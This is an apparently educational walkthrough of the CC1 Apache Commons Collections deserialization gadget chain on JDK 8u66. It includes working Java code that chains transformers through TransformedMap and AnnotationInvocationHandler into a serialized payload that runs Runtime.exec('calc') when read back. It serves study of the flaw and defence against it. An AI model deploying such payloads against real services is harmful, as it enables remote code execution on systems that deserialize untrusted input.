Environment Setup
The CC1 gadget chain was patched in JDK 8u71 and later. Therefore, we need a JDK version prior to that. This analysis uses JDK 8u66. To obtain the required source files (especially for sun.reflect.annotation.AnnotationInvocationHandler), follow these steps:
- Download the vulnerable JDK version from this OpenJDK changeset and extract its zip archive.
- In your JDK installation directory (e.g.,
D:\Environment\JAVA\jdk8u66), extract the bundledsrc.zipinto the same folder. - From the downloaded zip, locate the
sunpackage (path:jdk-af660750b2f4/src/share/classes) and copy it into thesrcfolder of your JDK directory. - In IntelliJ IDEA, open Project Structure → SDKs, select you're JDK, and add the
srcdirectory to the Sourcepath.
Core Vulnerability: InvokerTransformer
The attack begins with org.apache.commons.collections.functors.InvokerTransformer. Its transform method uses Java reflection to invoke an arbitrary method on an arbitrary object:
// Pseudo-logic of InvokerTransformer.transform()
Object input = ...;
Method method = input.getClass().getMethod(methodName, paramTypes);
return method.invoke(input, args);
Thus, we can execute any method (e.g., exec on a Runtime object).
Other Key Transformer Implementations
- ChainedTransformer: Holds a array of
Transformerobjects. Callingtransform()passes the result of each transformer to the next. - ConstantTransformer: Returns the same object that was passed to its constructor every time
transform()is called.
Finding a Trigger: TransformedMap
Searching for callers of transform() leads us to TransformedMap.checkSetValue(). This method is called from setValue() in the same class. The valueTransformer field is a Transformer instance that is set via the static decorate() method:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { ... }
We can create a TransformedMap that wraps a normal HashMap and assigns our malicious InvokerTransformer as the valueTransformer. Then, calling setValue() on any entry in this map will execute the transformer. But we need a chain that ends with Runtime.exec().
Chaining the Transformers
Initially, we might try to pass a Runtime object directly to ConstantTransformer, but Runtime is not serializable. The solution is to use Runtime.class (which is serializable) and invoke getRuntime() via reflection:
Transformer[] chain = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(chain);
This chain will: return Runtime.class → call getMethod("getRuntime") → invoke getRuntime() to get the Runtime singleton → call exec("calc").
Leveraging AnnotationInvocationHandler
The final step is to find a deserialization entry point. sun.reflect.annotation.AnnotationInvocationHandler has a readObject method that iterates over a Map (passed via constructor) and calls setValue() on each entry. Its constructor expects a Class<? extends Annotation> and a Map<String, Object>. We can use Target.class (an annotation that has a value member) and force the map to have a key equal to "value".
// Prepare a HashMap with key "value"
HashMap<Object,Object> data = new HashMap<>();
data.put("value", "anything");
// Wrap it with TransformedMap using our ChainedTransformer
Map wrapped = TransformedMap.decorate(data, null, ct);
// Create the AnnotationInvocationHandler via reflection
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object handler = ctor.newInstance(Target.class, wrapped);
// Serialize and deserialize to trigger the chain
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject(); // calc.exe executes
When readObject() runs, the AnnotationInvocationHandler calls setValue() on the map entry (key "value"). This triggers TransformedMap.checkSetValue(), which calls valueTransformer.transform() – our ChainedTransformer. The chain runs and eventually executes Runtime.getRuntime().exec("calc").